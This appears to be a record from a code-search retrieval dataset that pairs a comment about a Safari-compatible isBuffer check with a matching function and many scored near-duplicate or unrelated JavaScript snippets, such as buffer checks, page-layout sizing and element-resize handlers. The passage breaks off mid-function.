query_id
stringlengths
32
32
query
stringlengths
7
29.6k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
e260b6840e2c8c3b55eaf9a90ed57901
the following is from isbuffer, also by Feross Aboukhadijeh and with same lisence The _isBuffer check is for Safari 57 support, because it's missing Object.prototype.constructor. Remove this eventually
[ { "docid": "d81e89e18a3030417e5a95b146da96e9", "score": "0.7468341", "text": "function isBuffer(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n}", "title": "" } ]
[ { "docid": "d650b1187784b15d5ebd9af6ae900b2c", "score": "0.8010495", "text": "function isBuffer(f){return!!f.constructor&&\"function\"==typeof f.constructor.isBuffer&&f.constructor.isBuffer(f)}", "title": "" }, { "docid": "d650b1187784b15d5ebd9af6ae900b2c", "score": "0.8010495", "text": "function isBuffer(f){return!!f.constructor&&\"function\"==typeof f.constructor.isBuffer&&f.constructor.isBuffer(f)}", "title": "" }, { "docid": "da4b231bd9994ae0d1629220bb7eaeb6", "score": "0.7882862", "text": "function isBuf(obj){return global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer;}", "title": "" }, { "docid": "da4b231bd9994ae0d1629220bb7eaeb6", "score": "0.7882862", "text": "function isBuf(obj){return global.Buffer&&global.Buffer.isBuffer(obj)||global.ArrayBuffer&&obj instanceof ArrayBuffer;}", "title": "" }, { "docid": "60a2af6de3fdcec1b53ef939dee74882", "score": "0.78784883", "text": "function isBuffer(obj){return obj!=null&&(!!obj._isBuffer||isFastBuffer(obj)||isSlowBuffer(obj));}", "title": "" }, { "docid": "1c76e79a85e70efb67f15d47339bda00", "score": "0.762681", "text": "function isBuf(obj) {\n return global.Buffer && global.Buffer.isBuffer(obj) || global.ArrayBuffer && obj instanceof ArrayBuffer;\n }", "title": "" }, { "docid": "1c76e79a85e70efb67f15d47339bda00", "score": "0.762681", "text": "function isBuf(obj) {\n return global.Buffer && global.Buffer.isBuffer(obj) || global.ArrayBuffer && obj instanceof ArrayBuffer;\n }", "title": "" }, { "docid": "3d0316aa56271a753c9aa4c9f2358d52", "score": "0.7619342", "text": "function isBuffer(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n }", "title": "" }, { "docid": "3d0316aa56271a753c9aa4c9f2358d52", "score": "0.7619342", "text": "function isBuffer(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n }", "title": "" }, { "docid": "3d0316aa56271a753c9aa4c9f2358d52", "score": "0.7619342", "text": "function isBuffer(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n }", "title": "" }, { "docid": "ddc9fbe73a0bb6651df83acdc8478027", "score": "0.7581593", "text": "function isBuffer(obj) {\n\t return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n\t}", "title": "" }, { "docid": "ddc9fbe73a0bb6651df83acdc8478027", "score": "0.7581593", "text": "function isBuffer(obj) {\n\t return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n\t}", "title": "" }, { "docid": "440f65c1d79dde9a2d8b823add04085a", "score": "0.7558491", "text": "function isBuf(obj) {\n return withNativeBuffer && Buffer.isBuffer(obj) || withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj));\n }", "title": "" }, { "docid": "c4e459139d969559789484de5a6b385f", "score": "0.75186056", "text": "function isBuf(obj) {\n\t return global.Buffer && global.Buffer.isBuffer(obj) || global.ArrayBuffer && obj instanceof ArrayBuffer;\n\t}", "title": "" }, { "docid": "8228aedb113c679ce52c922863313e9a", "score": "0.75181943", "text": "function isBuffer(obj) {\n\t\treturn obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n\t}", "title": "" }, { "docid": "832ae6fa9d4abcb9f30206a96ecb395d", "score": "0.7487487", "text": "function isBuf(obj) {\r\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\r\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\r\n\t}", "title": "" }, { "docid": "4ca7d046fce8f18022ae49d89e54173f", "score": "0.74849653", "text": "function isBuf(obj) {\n return (withNativeBuffer && global.Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof global.ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "4ca7d046fce8f18022ae49d89e54173f", "score": "0.74849653", "text": "function isBuf(obj) {\n return (withNativeBuffer && global.Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof global.ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "4ca7d046fce8f18022ae49d89e54173f", "score": "0.74849653", "text": "function isBuf(obj) {\n return (withNativeBuffer && global.Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof global.ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "96159bc818a627e9218deadcdf536591", "score": "0.74735624", "text": "function isBuf(obj) {\n return withNativeBuffer && global.Buffer.isBuffer(obj) || withNativeArrayBuffer && (obj instanceof global.ArrayBuffer || isView(obj));\n}", "title": "" }, { "docid": "283f0867c2416ac467ea7dd9c3d814c0", "score": "0.74694866", "text": "function a(o){return!!o.constructor&&typeof o.constructor.isBuffer==\"function\"&&o.constructor.isBuffer(o)}", "title": "" }, { "docid": "5467cef73e0a28f303b3f1f2e5dd68ca", "score": "0.745787", "text": "function isBuffer$1(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n}", "title": "" }, { "docid": "5467cef73e0a28f303b3f1f2e5dd68ca", "score": "0.745787", "text": "function isBuffer$1(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n}", "title": "" }, { "docid": "5467cef73e0a28f303b3f1f2e5dd68ca", "score": "0.745787", "text": "function isBuffer$1(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n}", "title": "" }, { "docid": "5467cef73e0a28f303b3f1f2e5dd68ca", "score": "0.745787", "text": "function isBuffer$1(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj))\n}", "title": "" }, { "docid": "e1a3db05e826abbd0ef7358baa9368b8", "score": "0.7447572", "text": "function isBuffer(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj));\n}", "title": "" }, { "docid": "e1a3db05e826abbd0ef7358baa9368b8", "score": "0.7447572", "text": "function isBuffer(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj));\n}", "title": "" }, { "docid": "e1a3db05e826abbd0ef7358baa9368b8", "score": "0.7447572", "text": "function isBuffer(obj) {\n return obj != null && (!!obj._isBuffer || isFastBuffer(obj) || isSlowBuffer(obj));\n}", "title": "" }, { "docid": "f44e1ed9480bf14fedd338f6b211886f", "score": "0.7420225", "text": "function isBuf(obj) {\n return global.Buffer && global.Buffer.isBuffer(obj) || global.ArrayBuffer && obj instanceof ArrayBuffer;\n}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "936bde3271d324564eddfb361455a044", "score": "0.73753417", "text": "function isBuf(obj) {\n\t return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n\t (global.ArrayBuffer && obj instanceof ArrayBuffer);\n\t}", "title": "" }, { "docid": "56928ae0c2ce0fc1f8df22e6196b0df1", "score": "0.7358149", "text": "function isBuffer$9(val) {\n if (val.constructor && typeof val.constructor.isBuffer === 'function') {\n return val.constructor.isBuffer(val);\n }\n return false;\n}", "title": "" }, { "docid": "a24c0b859b20995263d45a5046eb9935", "score": "0.7354998", "text": "function isBuffer$6(val) {\n return val.constructor\n && typeof val.constructor.isBuffer === 'function'\n && val.constructor.isBuffer(val);\n}", "title": "" }, { "docid": "1be4f55eba171e68858e266729dc19f9", "score": "0.7346171", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && (obj instanceof ArrayBuffer || ArrayBuffer.isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "d0cd9e875340f65d4ce7051c0a0dc613", "score": "0.7338235", "text": "function isBuf(obj) {\n return (withNativeBuffer && Buffer.isBuffer(obj)) ||\n (withNativeArrayBuffer && (obj instanceof ArrayBuffer || isView(obj)));\n}", "title": "" }, { "docid": "a5b686296a165f23331ded510e118d9e", "score": "0.7335368", "text": "function isSlowBuffer(obj){return typeof obj.readFloatLE===\"function\"&&typeof obj.slice===\"function\"&&isBuffer(obj.slice(0,0))}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "726d9d6fbc20113e1b96f1c2670e525a", "score": "0.73286223", "text": "function isBuf(obj) {\n return (global.Buffer && global.Buffer.isBuffer(obj)) ||\n (global.ArrayBuffer && obj instanceof ArrayBuffer);\n}", "title": "" }, { "docid": "f44564c8b8fc2b4b6178ace216c5f8dc", "score": "0.729308", "text": "function isBuffer(val) {\n return val.constructor && typeof val.constructor.isBuffer === 'function' && val.constructor.isBuffer(val);\n}", "title": "" }, { "docid": "f44564c8b8fc2b4b6178ace216c5f8dc", "score": "0.729308", "text": "function isBuffer(val) {\n return val.constructor && typeof val.constructor.isBuffer === 'function' && val.constructor.isBuffer(val);\n}", "title": "" }, { "docid": "f44564c8b8fc2b4b6178ace216c5f8dc", "score": "0.729308", "text": "function isBuffer(val) {\n return val.constructor && typeof val.constructor.isBuffer === 'function' && val.constructor.isBuffer(val);\n}", "title": "" }, { "docid": "f44564c8b8fc2b4b6178ace216c5f8dc", "score": "0.729308", "text": "function isBuffer(val) {\n return val.constructor && typeof val.constructor.isBuffer === 'function' && val.constructor.isBuffer(val);\n}", "title": "" }, { "docid": "f44564c8b8fc2b4b6178ace216c5f8dc", "score": "0.729308", "text": "function isBuffer(val) {\n return val.constructor && typeof val.constructor.isBuffer === 'function' && val.constructor.isBuffer(val);\n}", "title": "" }, { "docid": "306bff33ccc62767071c7b5c17e70cb9", "score": "0.7282488", "text": "function isBuffer(val) {\n return val.constructor\n && typeof val.constructor.isBuffer === 'function'\n && val.constructor.isBuffer(val);\n}", "title": "" }, { "docid": "306bff33ccc62767071c7b5c17e70cb9", "score": "0.7282488", "text": "function isBuffer(val) {\n return val.constructor\n && typeof val.constructor.isBuffer === 'function'\n && val.constructor.isBuffer(val);\n}", "title": "" }, { "docid": "306bff33ccc62767071c7b5c17e70cb9", "score": "0.7282488", "text": "function isBuffer(val) {\n return val.constructor\n && typeof val.constructor.isBuffer === 'function'\n && val.constructor.isBuffer(val);\n}", "title": "" }, { "docid": "306bff33ccc62767071c7b5c17e70cb9", "score": "0.7282488", "text": "function isBuffer(val) {\n return val.constructor\n && typeof val.constructor.isBuffer === 'function'\n && val.constructor.isBuffer(val);\n}", "title": "" } ]
337c93ff95ba05608cadf257e86e2af3
Currently: The order that these are listed in the transaction is critical: Suppresses events. Restores selection range. Future: Restore document/overflow scroll positions that were unintentionally modified via DOM insertions above the top viewport boundary. Implement/integrate with customized constraint based layout system and keep track of which dimensions must be remeasured.
[ { "docid": "1c6c0c25ef58a23e70170847d94618c1", "score": "0.0", "text": "function ReactReconcileTransaction(forceHTML) {\n this.reinitializeTransaction();\n // Only server-side rendering really needs this option (see\n // `ReactServerRendering`), but server-side uses\n // `ReactServerRenderingTransaction` instead. This option is here so that it's\n // accessible and defaults to false when `ReactDOMComponent` and\n // `ReactTextComponent` checks it in `mountComponent`.`\n this.renderToStaticMarkup = false;\n this.reactMountReady = CallbackQueue.getPooled(null);\n this.useCreateElement = !forceHTML && ReactDOMFeatureFlags.useCreateElement;\n}", "title": "" } ]
[ { "docid": "a4af03b9be17f9892df7bafbd29a1bd8", "score": "0.58891666", "text": "function layout()\r\n{\r\n var footerHeight = 64;\r\n var headerHeight = 123;\r\n var rightEdgeWidth = 11;\r\n var leftEdgeWidth = 11;\r\n var leftMenuWidth = 155;\r\n var scrollBarWidth = 12;\r\n\r\n var contentHeight = document.viewport.getHeight() - (footerHeight + headerHeight);\r\n var contentBodyHeight = contentHeight;\r\n var contentWidth = document.viewport.getWidth() - (leftEdgeWidth + leftMenuWidth + rightEdgeWidth) - 10;\r\n var contentBodyWidth = contentWidth - 10;\r\n var footerPosition = document.viewport.getHeight() - footerHeight;\r\n var rightEdgePosition = document.viewport.getWidth() - rightEdgeWidth;\r\n var guiLockWidth = document.viewport.getWidth() - rightEdgeWidth - scrollBarWidth;\r\n\r\n $('headerMain').style.width = document.viewport.getWidth() + 'px';\r\n $('footerMain').style.width = document.viewport.getWidth() + 'px';\r\n\r\n $('contentRightEdge').style.left = rightEdgePosition + 'px';\r\n $('contentMenu').style.height = contentHeight + 'px';\r\n $('contentRightEdge').style.height = contentHeight + 'px';\r\n $('contentLeftEdge').style.height = contentHeight + 'px';\r\n\r\n $('contents').style.height = contentBodyHeight + 'px';\r\n $('contents').style.width = contentWidth + 'px';\r\n\r\n $('footerMain').style.top = footerPosition + 'px';\r\n $('footerMain').style.bottomMargin = '0px';\r\n\r\n\r\n\r\n $('guiLock').style.width = guiLockWidth + 'px';\r\n $('guiLock').style.height = document.viewport.getHeight() + 'px';\r\n $('guiLock').style.left = '0px';\r\n $('guiLock').style.top = '0px';\r\n\r\n $('popupContainer').style.width = document.viewport.getWidth() + 'px';\r\n $('popupContainer').style.height = document.viewport.getHeight() + 'px';\r\n $('popupContainer').style.left = '0px';\r\n $('popupContainer').style.top = '0px';\r\n\r\n blHeight = contentBodyHeight - 3;\r\n $('bodyLock').style.height = blHeight + 'px';\r\n $('bodyLock').style.width = contentWidth + 'px';\r\n\r\n busyBar = new NG_ProgressBar().hide();\r\n Event.observe($('logout_btn'), \"click\", logout);\r\n\r\n}", "title": "" }, { "docid": "a89ecb38d8d1cea594fe4cf54128b0bf", "score": "0.5854618", "text": "didUpdateLayout(_bucket, _bounds) {// noop\n }", "title": "" }, { "docid": "022579b523e1ac063a646112ba260d6d", "score": "0.57921785", "text": "function resize(e) {\r\n ds.break(); // use instead of break, which removes the selection border .Refactor to call a function in StopDuringResizing.\r\n dnd.stop(); // will stop the dragging process .Refactor to call a function in StopDraggingDuringResizing.\r\n\r\n if (currentResizer.classList.contains('bottom-right')) {\r\n const width = original_width + (e.pageX - original_mouse_x);\r\n const height = original_height + (e.pageY - original_mouse_y)\r\n if (width > minimum_size) {\r\n element.style.width = width + 'px'\r\n }\r\n if (height > minimum_size) {\r\n element.style.height = height + 'px'\r\n }\r\n }\r\n else if (currentResizer.classList.contains('bottom-left')) {\r\n const height = original_height + (e.pageY - original_mouse_y)\r\n const width = original_width - (e.pageX - original_mouse_x)\r\n if (height > minimum_size) {\r\n element.style.height = height + 'px'\r\n }\r\n if (width > minimum_size) {\r\n element.style.width = width + 'px'\r\n element.style.left = original_x + (e.pageX - original_mouse_x) + 'px'\r\n }\r\n }\r\n else if (currentResizer.classList.contains('top-right')) {\r\n const width = original_width + (e.pageX - original_mouse_x)\r\n const height = original_height - (e.pageY - original_mouse_y)\r\n if (width > minimum_size) {\r\n element.style.width = width + 'px'\r\n }\r\n if (height > minimum_size) {\r\n element.style.height = height + 'px'\r\n element.style.top = original_y + (e.pageY - original_mouse_y) + 'px'\r\n }\r\n }\r\n else if (currentResizer.classList.contains('top-left')){\r\n const width = original_width - (e.pageX - original_mouse_x)\r\n const height = original_height - (e.pageY - original_mouse_y)\r\n if (width > minimum_size) {\r\n element.style.width = width + 'px'\r\n element.style.left = original_x + (e.pageX - original_mouse_x) + 'px'\r\n }\r\n if (height > minimum_size) {\r\n element.style.height = height + 'px'\r\n element.style.top = original_y + (e.pageY - original_mouse_y) + 'px'\r\n }\r\n }\r\n else if (currentResizer.classList.contains('right-only')){\r\n const width = original_width + (e.pageX - original_mouse_x)\r\n if (width > minimum_size) {\r\n element.style.width = width + 'px'\r\n }\r\n }\r\n else if (currentResizer.classList.contains('left-only')){\r\n const width = original_width - (e.pageX - original_mouse_x)\r\n if (width > minimum_size) {\r\n element.style.width = width + 'px'\r\n element.style.left = original_x + (e.pageX - original_mouse_x) + 'px'\r\n }\r\n }\r\n else if (currentResizer.classList.contains('top-only')) {\r\n const height = original_height - (e.pageY - original_mouse_y)\r\n if (height > minimum_size) {\r\n element.style.height = height + 'px'\r\n element.style.top = original_y + (e.pageY - original_mouse_y) + 'px'\r\n }\r\n }\r\n else if (currentResizer.classList.contains('bottom-only')) {\r\n const height = original_height + (e.pageY - original_mouse_y)\r\n if (height > minimum_size) {\r\n element.style.height = height + 'px'\r\n }\r\n }\r\n }", "title": "" }, { "docid": "d188c5c5fbb3091db92c2da9a275ffe4", "score": "0.57806754", "text": "function updateSelectionRectangles() {\n\t\t// This needs to run when the component is resized or the minimum width of histogram bars change etc. Such\n\t\t// changes can lead to bars merging, and then we may need to update the selections (or some selections would\n\t\t// select only parts of a histogram bar).\n\t\tvar dirty = false;\n\n\t\t// TODO: fix this?\n\t\t// This does not work correctly for string type data when the selection is larger than the possible number of\n\t\t// bars in the current display. Currently a large selection will be replaces with a selection of only the first\n\t\t// (leftmost) bar, not all the bars that fit.\n\n\t\t// $log.log(preDebugMsg + \"updateSelectionRectangles\");\n\t\tfor(var sel = 0; sel < selections.length; sel++) {\n\t\t\tvar newSel = selections[sel];\n\t\t\tvar val1 = newSel[0];\n\t\t\tvar val2 = newSel[1];\n\t\t\tvar firstOverlap = true;\n\n\t\t\tif(dataType == 'string') {\n\t\t\t\tvar saw1 = false;\n\t\t\t\tvar saw2 = false;\n\t\t\t}\n\n\t\t\t// this can be optimized, since the histogram is sorted from left to right and the selections are sorted too\n\t\t\tfor(var i = 0; i < histogram.length; i++) {\n\t\t\t\tif(histogram[i][0] == nullValueStringRep) {\n\t\t\t\t\tif(newSel.length > 4 && newSel[4]) {\n\t\t\t\t\t\tif(firstOverlap) {\n\t\t\t\t\t\t\tfirstOverlap = false;\n\t\t\t\t\t\t\tnewSel[2] = null;\n\t\t\t\t\t\t\tnewSel[3] = null;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if(val1 != null && val2 != null) {\n\t\t\t\t\tif(dataType == 'string') {\n\t\t\t\t\t\tvar overlap = false;\n\t\t\t\t\t\tif(val1 == histogram[i][5] || val1 == histogram[i][5]) {\n\t\t\t\t\t\t\tsaw1 = true;\n\t\t\t\t\t\t\toverlap = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(val2 == histogram[i][4] || val2 == histogram[i][5]) {\n\t\t\t\t\t\t\tsaw2 = true;\n\t\t\t\t\t\t\toverlap = 